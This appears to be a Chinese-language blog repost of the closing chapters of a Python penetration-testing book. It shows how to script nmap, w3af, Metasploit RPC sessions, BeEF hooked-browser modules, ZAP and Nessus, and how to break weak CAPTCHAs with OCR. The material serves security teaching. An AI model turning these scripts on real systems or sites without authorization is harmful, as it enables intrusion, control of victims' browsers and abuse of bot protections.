网络映射器Nmap)是用于网络发现和安全审计的免费开源工具。它可以在所有主要计算机操作系统上运行,并且 Linux、Windows 和 Mac OS X 都提供官方的二进制软件包。python-nmap库有助于以编程方式操作nmap的扫描结果,以自动化端口扫描任务。

像往常一样,在安装了python-nmap后,我们必须导入模块nmap

import nmap

实例化nmap端口扫描程序:

nmap = nmap.PortScanner() 
host = '127.0.0.1' 

设置要扫描的hostport范围:

nmap.scan(host, '1-1024') 

我们可以打印用于扫描的command_line命令:

print nmap.command_line()

此外,我们可以获取nmap扫描信息:

print nmap.scaninfo()

现在我们扫描所有主机:

for host in nmap.all_hosts(): 
    print('Host : %s (%s)' % (host, nmap[host].hostname())) 
    print('State : %s' % nmap[host].state()) 

我们还扫描所有协议:

for proto in nmap[host].all_protocols(): 
    print('Protocol : %s' % proto) 

listport = nmap[host]['tcp'].keys() 
listport.sort() 

for port in listport: 
    print('port : %s\tstate : %s' % (port, nmap[host][proto][port]['state']))

此脚本将提供以下输出:

python-nmap

提示

您可以从这里获取更多关于python-nmap的选项:bitbucket.org/xael/python-nmap

W3af REST API

Web 应用程序审计和攻击框架W3af)是一个强大而灵活的环境,用于 Web 漏洞评估和利用 Web 应用程序漏洞。它有许多插件可以相互通信。例如,发现插件收集不同的 URL 进行测试,并传递给审计插件,审计插件使用这些 URL 来搜索漏洞。W3af 还可以利用它发现的漏洞。

W3af 有八种不同类型的插件:

  • 发现插件:爬行 Web 应用程序以查找新的 URL、表单和许多其他有趣的 Web 应用程序部分。这些插件在循环中运行,输出作为输入提供给下一个插件。

  • 审计插件:这些是 W3af 的主要部分,它们将发现插件的输出作为输入,并扫描各种 Web 应用程序漏洞,如 SQL、XSS 注入等。

  • Grep 插件:像 UNIX grep 实用程序一样,它们搜索每个 HTTP 请求和响应,以查找异常和有趣的信息。它可以是 IP 地址、错误代码、电子邮件 ID、信用卡号,甚至是风险的 JavaScript 代码。

  • Bruteforce 插件:这些插件有助于暴力破解在发现阶段发现的基本 HTTP 身份验证和表单登录身份验证。

  • 攻击插件:此插件将从知识库中读取漏洞对象并尝试利用它们。

  • Mangle 插件:这些插件有助于基于 sed 编辑器的正则表达式修改请求和响应。

  • Evasion 插件:这些插件有助于避免简单的入侵检测规则IDS)。

  • 输出插件:这些插件有助于创建不同文件格式的输出文件,如报告。

我们可以使用w3af API 连接到w3af并使用这些模块。首先,我们必须运行w3af API。要做到这一点,获取w3af并运行w3af_api

 $ ./w3af_api

w3af API 已经配置了一些可用于特定任务的配置文件。例如,OWASP_TOP10配置文件包括几个发现、审计和 grep 插件,用于执行 OWASP Top 10 安全性分析。因此,我们可以使用这些配置文件,或者我们可以创建自己的配置文件来运行w3af

使用w3af_api_client从脚本中访问w3af_api。安装w3af_api_client并导入它:

from w3af_api_client import Connection, Scan

现在我们可以创建到w3af API 的连接。这将在端口5000上运行:

connection = Connection('http://127.0.0.1:5000/')

我们可以通过检查其版本来确保连接正确:

print connection.get_version() 

现在,我们可以定义配置文件和要扫描的目标 URL:

profile = file('w3af/profiles/OWASP_TOP10.pw3af').read() 
target = ['http://localhost'] 

然后,我们实例化扫描实例:

scan = Scan(connection) 

现在我们可以开始扫描:

scan.start(profile, target) 

开始扫描后,我们可以获取发现、URL 和日志:

scan.get_urls() 
scan.get_log() 
scan.get_findings() 

我们可以使用以下方法获取fuzzable URL:

scan.get_fuzzable_requests()

由于 W3af 是一个 Python 工具,我们可以在脚本中将w3af作为模块导入并在脚本中使用其功能。为此,我们必须下载w3afsetup.py。我们可以从github.com/andresriancho/w3af-module获取整个模块的文件。

下载此模块并验证子模块文件夹w3af中是否包含所有文件。如果没有,请从github.com/andresriancho/w3af下载w3af文件夹并替换该文件夹。

然后,运行以下命令:

 $ sudo python setup.py install

这将安装w3af作为 Python 模块。接下来,我们可以像导入其他 Python 模块一样导入它:

import w3af 

或者,我们可以导入其他w3af模块,例如:

from w3af.core.data.kb.shell import Shell

使用 MSGRPC 的 Metasploit 脚本

Metasploit是一个开源项目,提供公共资源用于开发、测试和执行利用。它还可以用于创建安全测试工具、利用模块,以及作为渗透测试框架。

Metasploit 是用 Ruby 编写的,不支持用 Python 编写的模块或脚本。

然而,Metasploit 确实有一个 MSGRPC,使用 MSGPACK 的双向 RPC(远程过程调用)接口。pymetasploit Python 模块有助于在 Python 和 Metasploit 的msgrpc之间进行交互。

因此,在编写脚本之前,我们必须加载msfconsole并启动msgrpc服务。接下来,让我们启动 Metasploit 和 MSGRPC 接口。我们可以在 Metasploit 中使用msfrpcd启动 MSGRPC。以下是msfrpcd的完整选项:

$ ./msfrpcd

输出如下:

使用 MSGRPC 进行 Metasploit 脚本编写

以密码123456启动 MSGRPC:

$ ./msfrpcd -P 123456 -n -f 

使用 MSGRPC 进行 Metasploit 脚本编写

现在 Metasploit 的 RPC 接口正在侦听端口55553。我们可以继续编写我们的 Python 脚本。

与 MSGRPC 交互几乎与与msfconsole交互类似。首先,我们必须创建msfrpc类的实例。然后,使用凭据登录到msgrpc服务器,并创建一个虚拟控制台。

我们可以使用 PyMetasploit Python 模块来自动化 Python 的利用任务。从github.com/allfro/pymetasploit克隆该模块:

$ git clone https://github.com/allfro/pymetasploit.git

转到以下模块文件夹:

$ cd pymetasploit

安装模块:

$ python setup.py install

现在,我们可以在我们的脚本中导入该模块:

from metasploit.msfrpc import MsfRpcClient

然后,我们可以为MsfRpcClient创建一个新实例。我们必须对 Metasploit 进行身份验证才能在其中运行任何命令。因此,传递密码以对 Metasploit 进行身份验证:

client = MsfRpcClient('123456') 

我们可以通过这个实例浏览核心 Metasploit 功能:

dir(client) 

这将列出核心功能。现在我们可以列出辅助选项:

auxilary = client.modules.auxiliary 
for i in auxilary: 
   print "\t%s" % I

类似地,我们可以使用相同的语法列出所有利用、编码器、有效载荷和后续的核心模块。我们可以使用use方法激活其中一个模块:

scan = client.modules.use('auxiliary', 'scanner/ssh/ssh_version') 

然后,我们可以设置参数:

scan['VERBOSE'] = True 
scan['RHOSTS'] = '192.168.1.119'

最后,运行模块:

Print scan.execute() 

如果执行成功,则输出如下:

{'job_id': 17, 'uuid': 'oxutdiys'}

如果失败,job_id将为 none。

接下来,如果攻击成功,我们可以使用会话方法访问 shell 和控制台:

client.sessions.list

这将列出所有当前活动的会话。如果攻击为受害者提供了 shell 访问权限,那么我们可以获取可用的 shell,并使用以下方法访问它们:

shell = client.sessions.session(1) 
shell.write('whoami\n') 
print shell.read() 

我们还可以连接到控制台并运行命令,就像在msfconsole中一样:

导入模块:

from metasploit.msfrpc import MsfRpcClient 
from metasploit.msfconsole import MsfRpcConsole 

创建客户端:

client = MsfRpcClient('123456', user='msf') 

使用客户端创建控制台:

console = MsfRpcConsole(client) 

现在我们可以使用这个实例来运行 Metasploit 命令,如下所示:

console.execute('use scanner/ssh/ssh_version') 
console.execute('set RHOSTS 192.168.1.119') 
console.execute('set VERBOSE True') 
console.execute('run')

输出将打印在控制台本身。

在这里,我们使用了 PyMetasploit 模块,但我们也可以使用 msgrpc 模块(github.com/SpiderLabs/msfrpc)。这将帮助我们访问底层功能,并在脚本中处理结果和控制台输出。

使用 Python 的 ClamAV 防病毒软件

我们可以使用 pyClamd,一个开源的 Python 模块,在 Linux、MacOSX 和 Windows 上使用 ClamAV 防病毒引擎。要从 Python 中以编程方式使用 ClamAV,您必须运行clamd守护程序的一个实例。

提示

您可以在 Windows、Linux 和 MacOSx 上安装 ClamAV。要在 Windows 和 Linux 上安装它,请参考官方 ClamAV 文档www.clamav.net/documents/installing-clamav。要在 MacOSX 上安装,请使用 homebrew。

安装 ClamAV 后,配置它以与网络套接字或 Unix 套接字一起工作。为此,我们必须更新clamd配置。您可以在 Linux 的/etc/clamav/文件夹中找到两个配置文件,Windows 的c:\clamAV\,以及 MacOSX 的/usr/local/etc/clamav。文件如下:freshclam.confclamd.conf

如果找不到这些配置文件,请从示例配置文件创建它们,并在freshclam.conf文件中更新数据库镜像 URL。Freshclam 将获取防病毒数据库更新,因此我们应立即运行它以获取初始数据库:

DatabaseMirror database.clamav.net

更新数据库镜像后,使用以下命令下载 ClamAV 数据库:

$ freshclam -v

clamd.conf中启用 Unix 套接字或网络套接字。要启用 Unix 套接字,请使用以下内容更新clamd.conf

LocalSocket /tmp/clamd.sock 

现在,您可以在终端窗口中使用clamd命令运行clamd守护程序。

在 Windows 中将clamd安装为服务时,请运行安装程序,并让其安装到默认位置c:\clamav\。还要确保正确配置 Unix 套接字,并且您在config文件中指定的位置存在。

然后,您可以从 Python 脚本中使用clamd。导入pyclamd模块:

import pyclamd

接下来,尝试使用 Unix 套接字连接到clamd守护程序,如果失败,则尝试使用网络套接字连接:

try: 
   clamd = pyclamd.ClamdUnixSocket() 
   # test if clamd unix socket is reachable 
   clamd.ping() 
except pyclamd.ConnectionError: 
   # if failed,  test for network socket 
   clamd = pyclamd.ClamdNetworkSocket() 
   try: 
         clamd.ping() 
   except pyclamd.ConnectionError: 
         raise ValueError('could not connect to clamd server either by unix
         or network socket')

我们可以通过打印clamd版本来确认代码:

print(clamd.version()) 

最后,扫描文件或文件夹以查找病毒:

print(clamd.scan_file('path-to-file-or-folder-to-scan')) 

如果发现病毒签名,这将输出详细信息。

提示

您可以在此处获取完整的 pyclamd 文档:xael.org/pages/python-module-pyclamd.html

从 Python 中的 OWASP ZAP

OWASP ZAPZed Attack Proxy)是一个开源的跨平台 Web 应用程序安全扫描器,用 Java 编写,并在所有流行的操作系统中都可用:Windows、Linux 和 Mac OS X。

OWASP ZAP 提供了一个 REST API,允许我们编写脚本以编程方式与 Zap 通信。我们可以使用python-owasp-zap模块来访问此 API。可以使用 pip 安装python-owasp-zap-v2.4模块。

首先加载所需的模块:

from zapv2 import ZAPv2 
from pprint import pprint 
import time 

定义要扫描的目标:

target = 'http://127.0.0.1'

现在,我们可以实例化zap实例,如下所示:

zap = zapv2()

这将使用假设zap在默认端口8080上监听来实例化一个新实例。如果 Zap 监听非默认端口,则必须将自定义代理设置作为参数传递,如下所示:

zap = ZAPv2(proxies={'http': 'http://127.0.0.1:8090', 'https': 'http://127.0.0.1:8090'}) 

设置目标并在zap中启动会话:

zap.urlopen(target) 

最好等一段时间,以便 URL 列表在zap中得到更新:

time.sleep(2)

现在,我们可以开始爬虫任务:

zap.spider.scan(target) 

我们可以使用以下命令开始被动扫描:

zap.ascan.scan(target)

最后,我们可以使用pprint来打印警报:

pprint (zap.core.alerts())

这为我们提供了来自zap的警报。

破解弱验证码

验证码Completely Automated Public Turing test to tell Computers and Humans Apart)是一种挑战-响应测试,用于确保响应是由人类生成的。它有助于防止机器人发送垃圾邮件、欺诈性注册、虚假的抽奖参与等。

许多网站实施自己的验证码,在这种情况下,我们可以从源获取验证码图像。这可以是一个链接,每次访问 URL 时都会生成一个带有新随机数字的图像。因此,为了绕过验证码,我们需要获取该图像中的随机数字或单词。

我们已经学会了如何使用 Python 自动发送 post 请求。在这里,我们可以学习如何从图像中获取随机代码。我们可以使用pytesseract Python 模块来读取带有光学字符识别OCR)引擎的图像。

提示

您可以在此处阅读更多关于 pytesseract 的内容,以在您的系统上安装它:github.com/madmaze/pytesseract

像往常一样,我们可以导入所需的模块:

import pytesseract 
from urllib import urlretrieve 
from PIL import Image 

下载验证码图像并保存:

link = 'http://www.cs.sfu.ca/~mori/research/gimpy/ez/96.jpg' 
urlretrieve(link,'temp.png') 

使用 OCR 引擎读取图像:

print pytesseract.image_to_string(Image.open('temp.png'))  

这将打印出验证码中的单词。有时,根据验证码图像中使用的噪音,需要进行一些图像操作。我们可以使用PIL库的功能来实现这一目的。以下是一个使字母加粗的示例:

img = Image.open('temp.png') 
img = img.convert("RGBA") 
pix = img.load() 

for y in xrange(img.size[1]): 
   for x in xrange(img.size[0]): 
         if pix[x, y][0] < 90: 
               pix[x, y] = (0, 0, 0, 255) 

for y in xrange(img.size[1]): 
   for x in xrange(img.size[0]): 
         if pix[x, y][1] < 136: 
               pix[x, y] = (0, 0, 0, 255) 

for y in xrange(img.size[1]): 
   for x in xrange(img.size[0]): 
         if pix[x, y][2] > 0: 
               pix[x, y] = (255, 255, 255, 255) 

img.save("temp.png", "png")

然后,使用此输出图像来输入 OCR 引擎。在获取验证码图像中的单词后,我们可以填写验证码值并提交表单。

提示

为了更好的准确性,我们可以训练 OCR 引擎。要了解有关训练 Tesseract 的更多信息:github.com/tesseract-ocr/tesseract/wiki/TrainingTesseract

用 Python 自动化 BeEF

浏览器利用框架BeEF)是一种利用浏览器漏洞来评估目标安全问题的安全工具。BeEF 是一个框架,为安全测试人员提供了客户端攻击向量。此外,它允许我们为每个浏览器和上下文选择特定的模块。本节将讨论如何使用框架提供的 REST API 自动化任务及其功能。

BeEF 专注于使用 JavaScript 挂钩的客户端上下文。它创建一个可以从控制面板控制的僵尸网络。当用户浏览包含挂钩的网站时,该浏览器将自动成为该僵尸网络的一部分。然后,攻击者可以向挂钩发送指令,以执行受害者的挂钩 Web 浏览器上的任务。这将提供有关 Web 浏览器的基本信息,启用或禁用插件和扩展,或者可以强制导航到另一个网站。由于它是在受害者访问的网页上下文中运行的简单 JavaScript 文件,因此关闭包括挂钩在内的此网站将使浏览器与僵尸网络断开连接,从而解决问题。

安装 BeEF

BeEF 是用 Ruby 开发的。因此,它需要在您的系统上安装 Ruby 解释器。通常,使用 BeEF 和 Metasploit 等多个工具会有点困难,因为它们都是用 Ruby 开发的,并且使用不同版本的 Ruby。因此,最好使用Ruby 版本管理器RVM)在您的系统上管理多个 Ruby 版本。

您可以在 RVM 的官方网站上查看官方网站 rvm.io

这将有助于使事情变得更容易,您将节省大量时间。

要安装 BeEF,请使用以下命令从 GitHub 下载项目的最新版本:

$ git clone https://github.com/beefproject/beef.git beef-lastest 

然后安装 bundler:

$ sudo gem install bundler

然后安装 BeEF:

$ cd beef-lastest 
$ bundle install

要运行 BeEF,请使用以下命令:

$ ./beef

输出将如下所示:

安装 BeEF

  • 从 Web 界面管理多个受害者是低效和繁琐的。BeEF 有一个 REST API,可以帮助自动化许多任务。要访问此 API,需要一个 API 密钥,该密钥在 BeEF 启动时生成。

安装 BeEF

连接 BeEF 与 Metasploit

BeEF 可以与 Metasploit 集成,并在挂钩的受害者浏览器中运行利用和有效载荷。要使用 Metasploit 扩展,我们必须在 Metasploit 框架中使用msfrpcd实用程序启动 MSGRPC,如前所述。除此之外,我们还必须在 BeEF 中启用可用的 Metasploit 扩展,通过更改 BeEF 文件夹根目录中的主配置文件(config.yaml)中的"extension"部分来启用 Metasploit 扩展:

metasploit:
enable: false

要:

metasploit:
enable: true

主配置文件已准备好支持 Metasploit 扩展,并且 MSGRPC 服务已启动。现在,我们必须更新扩展设置以更新连接详细信息到 MSGRPC 服务器。要做到这一点,编辑 Metasploit 扩展的配置文件(extensions/metasploit/config.xml):

连接 BeEF 与 Metasploit

现在,我们可以启动 BeEF。如果连接成功,将会有一个额外的通知,指示加载的 Metasploit 利用的数量如下:

连接 BeEF 与 Metasploit

使用 Python 访问 BeEF API

BeEF 的 Rest API 几乎包含了从 Web UI 执行的自动化活动所需的一切。这个 API 并不复杂,因为只需要发送带有正确参数的 HTTP 请求。因此,可以使用 Python 使用不同的库自动化这些 HTTP 请求。

正如我们在前几章中讨论的,Python 有许多处理 HTTP 请求的库,如urlliburllib2httplibrequests。在这里,我们将使用一个简单的库,称为 BeEF-API,它是使用requests模块编写的。

我们可以从 GitHub github.com/byt3bl33d3r/BeEF-API下载 BeEF-API Python 库。要安装它,只需运行带有参数installsetup.py脚本。

然后,我们可以导入BeefAPI模块并登录到 BeEF-API:

from beefapi import BeefAPI
Beef =  BeefAPI ({})
Beef.login ( 'beef' , 'beef' )

现在,我们可以列出所有加载的模块:

for module in beef.modules: 
   print module.id, module.name

我们可以使用以下代码搜索特定字符串的模块:

for module in beef.modules.findbyname('firefox'):
   print module.id, module.name

这将打印出所有名称中包含字符串firefox的模块。

我们可以针对一个或多个挂钩浏览器运行一个模块,为此我们必须获取相应的浏览器对象,然后通过指定要针对浏览器使用的模块的标识符在其上运行该模块。每个挂钩浏览器对象都有一个名为run的方法,该方法接收表示模块标识符的数值作为参数:

for hook in  beef.hooked_browsers.online:
   commandID=  hook.run(231)['command_id']
   print  beef.modules.findbyid(231).results(hook.session, commandID)

具有标识符231的模块是替换视频模块。该模块将重写所有匹配链接的 href 属性。run方法将执行指定的模块,并以.json格式返回一个带有命令标识符(command_id)的结构,随后将用于获取模块返回的结果。

使用 Python 访问 Nessus 6 API

Nessus 是由 Tenable Network Security 开发的流行漏洞扫描器之一,它会扫描计算机,并在发现攻击者可能用来访问您连接到网络的任何计算机的漏洞时发出警报。Nessus 提供了 API 以便以编程方式访问。我们可以使用 Python 中丰富的 HTTP 请求库来进行 HTTP 请求。Tenable 创建了一个python库 nessrest (github.com/tenable/nessrest),其中使用了 Nessus 6 的requests模块。

要在我们的 Python 脚本中使用此模块,请在安装后导入它。我们可以使用pip安装nessrest模块:

$ pip install nessrest

然后,在我们的脚本中导入它:

from nessrest import ness6rest

现在我们可以初始化扫描器,因为我们正在使用自签名证书运行 Nessus,所以我们必须禁用 SSL 证书检查。为此,将另一个参数insecure=True传递给Scanner初始化程序。

scan = ness6rest.Scanner(url="https://localhost:8834", login="user", password="password", insecure=True)

要添加和启动扫描,请指定目标并运行扫描:

scan.scan_add(targets="192.168.1.107")
scan.scan_run()

我们可以使用以下代码获取扫描结果:

scan.scan_results()

提示

要了解 Nessus 6 中可用的服务,可以查看 Nessus 安装中包含的文档https://localhost:8834/nessus6-api.html。您必须启动 Nessus 实例才能查看此文档。

总结

我们已经介绍了一些可用于安全自动化的库。现在我们准备在我们的脚本中使用这些模块。这将帮助我们自动化许多安全任务。我们还可以将一个脚本或工具的结果用于另一个,从而级联工具以自动化渗透测试。

本书深入探讨了 Python 及其相关模块的基本用法,帮助读者在渗透测试方面获得深入的知识。本书的章节概括了使用 Python 进行安全测试的基本思想。读者可以借助本书中介绍的技术和资源在安全测试方面取得前所未有的成就。Python 的潜力尚未完全发挥。它在安全测试中的影响广泛,我们让读者自行探索更深入的内容。

第十章:展望未来

在前面的章节中,我们已经讨论了使用 Python 模块和框架进行安全测试的各种技术。除此之外,还有许多用 Python 编写的工具可能有助于您的日常工作。在这里,我们将讨论一些可以用于您的工作的工具,或者您可以扩展它们以满足您的需求。

Pentestly

Pentestly是用于渗透测试的许多 Python 工具的集合。Pentestly 利用 Python 和 Powershell 的力量来创建熟悉的用户界面。

Pentestly 中包含的工具如下:

  • Invoke-Mimikatz.ps1:使用这个工具,我们可以在 Powershell 中快速实现 Mimikatz(一个很棒的后渗透工具)。

  • Invoke-Shellcode.ps1:这个工具在 Powershell 中部署 Meterpreter

  • wmiexec.py:这个工具可以通过 Windows 管理工具(WMI)快速执行 Powershell 命令。

  • recon-ng:用于数据操作,recon-ng(后端数据库)制作精美且利用率高。

  • smbmap.py:这个工具帮助枚举 SMB 共享。

  • powercat.ps1:这个工具在 Powershell 中提供类似 Netcat 的功能

提示

github.com/praetorian-inc/pentestly上阅读更多关于 Pentestly 的信息。

Twisted

Twisted是一个以 Python 为基础的可扩展框架,重点是事件驱动的网络编程。Twisted 具有多协议集成,包括 HTTP、FTP、SMTP、POP3、IMAP4、DNS、IRC、MSN、OSCAR、XMPP/Jabber、telnet、SSH、SSL、NNTP、Finger、ident 等。因此,它有助于快速实现大多数自定义服务器/服务网络应用程序。

Twisted 中的所有功能都有一个协作 API。此外,没有功能是通过阻塞网络实现的,因此我们不需要使用线程。Twisted 可以在单个线程中处理成千上万的连接。

Twisted 中包含的一些模块如下:

  • twisted.web:用于 HTTP 客户端和服务器、HTML 模板和 WSGI 服务器。

  • twisted.conch:用于 SSHv2 和 Telnet 客户端和服务器以及创建终端仿真器。

  • twisted.words:用于创建 IRC、XMPP 和其他即时通讯协议、客户端和服务器。

  • twisted.mail:用于 IMAPv4、POP3、SMTP 客户端和服务器。

  • twisted.positioning:帮助创建与 NMEA 兼容的 GPS 接收器通信的工具。

  • twisted.names:用于 DNS 客户端和创建 DNS 服务器的工具。

  • twisted.trial:与基于 Twisted 的代码很好地集成的单元测试框架。

提示

twistedmatrix.com/documents/current/index.html上阅读更多关于 Twisted 的信息。

Nscan

Nscan是一个针对全球范围扫描进行优化的快速网络扫描器。Nscan 使用原始套接字发送 TCP SYN 探测,并具有自己的小型 TCP/IP 堆栈。Nscan 通过将找到的 IP 和端口链接到另一个脚本来扩展我们的扫描,该脚本可能会检查漏洞、利用目标、代理或 VPN 等。Nscan 本身就是一个端口扫描器,它使用Connect()方法来查找一系列主机开放的端口。

Nscan 由于其灵活性和速度而与其他端口扫描器不同。先前版本的最大速度约为每秒 500 个端口。但端口扫描的最大速度主要取决于网络带宽和系统处理速度。

提示

github.com/OffensivePython/Nscan上阅读更多关于 Nscan 的信息。

sqlmap

sqlmap是一个用 Python 编写的最流行和最强大的 SQL 注入自动化工具之一。它是目前最强大的黑客工具:一个开源项目,可以使用其强大的检测引擎检测和利用 SQL 注入漏洞。通过给定的易受攻击的http 请求 url,sqlmap 可以进行大量的黑客行为,并利用远程数据库提取各种数据库元素。

提示

sqlmap.org上阅读更多关于 sqlmap 的信息。

CapTipper

CapTipper 是一个用于分析和发现恶意 HTTP 流量的 Python 工具。它还可以帮助分析和恢复从 PCAP 文件中捕获的会话。CapTipper 构建了一个与 PCAP 文件中的服务器完全相同的 Web 服务器。它还包括内部工具,具有强大的交互式控制台,用于评估和检查发现的主机,对象和对话。因此,该工具提供了对文件的访问和对安全测试人员的网络流量的理解。在研究漏洞时很有帮助。CapTipper 允许安全测试人员分析攻击的行为,即使原始服务器已经停止运行。

提示

github.com/omriher/CapTipper上阅读更多关于 CapTipper 的信息。

Immunity Debugger

Immunity Debugger 是一个带有 GUI 和命令行界面的 Windows Python 调试器。命令行界面允许用户输入快捷方式,就像在典型的文本调试器中一样,并且可以在 GUI 底部找到。命令可以在 Python 中扩展。

提示

www.immunityinc.com/products/debugger/上阅读更多关于 Immunity Debugger 的信息。

pytbull

pytbull 是一个基于 Python 的灵活框架,用于测试入侵检测/防御系统(IDS/IPS)。它配备了大约 300 个测试,分为 9 个模块,主要集中在 Snort 和 Suricata 上。它涵盖了大量类型的攻击,如客户端攻击,测试规则,恶意流量,分段数据包,多次登录失败,规避技术,Shell 代码,拒绝服务和 pcap 重放。

提示

pytbull.sourceforge.net/上阅读更多关于 pytbull 的信息。

ghost.py

ghost.py 是用 Python 编写的可脚本化的 webkit 网页客户端。

提示

jeanphix.me/Ghost.py上阅读更多关于 ghost.py 的信息。

peepdf

peepdf 是一个用于分析 PDF 文件是否有害的 Python 工具。peepdf 的目标是为渗透测试人员提供 PDF 分析所需的所有组件。peepdf 帮助我们查看文档中的所有对象,并显示可疑元素。它还支持最常用的过滤器和编码。它还可以解析 PDF 文件的不同版本,对象流和加密文件。它还有助于创建,修改和混淆 PDF 文件。

提示

eternal-todo.com/tools/peepdf-pdf-analysis-tool上阅读更多关于 peepdf 的信息。

总结

前面的页面涵盖了各种概念和 Python 工具,以应对各种情况,从基本的 Python 开始。完成这本书后,回到之前的章节,思考如何修改脚本并将其与其他工具集成,以满足自己的需求。您可以使它们对您的安全测试更加有效和高效。

随着这一章的结束,我们用 Python 进行渗透测试的旅程也结束了。在这本书中,我们已经经历了对网络进行分析,调试应用程序和自动化攻击。

在这个不断变化的 IT 世界中,学习是一个永无止境的过程。我们建议您及时了解渗透测试领域和相关工具的最新进展。请访问以下链接,了解用 Python 编写的最新渗透测试工具:github.com/dloss/python-pentest-tools

我希望这本书能帮助你在渗透测试方面取得更高的成就。

posted @ 2024-05-04 14:56  绝不原创的飞龙  阅读(228)  评论(0编辑  收藏  举报